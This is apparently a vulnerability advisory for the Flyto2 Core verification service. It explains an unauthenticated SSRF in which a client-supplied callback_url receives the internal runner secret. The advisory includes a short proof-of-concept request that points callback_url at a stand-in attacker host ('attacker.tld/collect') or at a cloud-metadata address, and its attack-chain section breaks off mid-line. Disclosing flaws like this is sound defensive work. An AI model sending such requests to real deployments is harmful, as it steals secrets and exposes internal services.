Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Summary

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause

• src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
• resolve_callback_url returns the client callback_url verbatim (:315-316).
• post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
• target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
• Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

1. Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on . Bypass proof: no (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.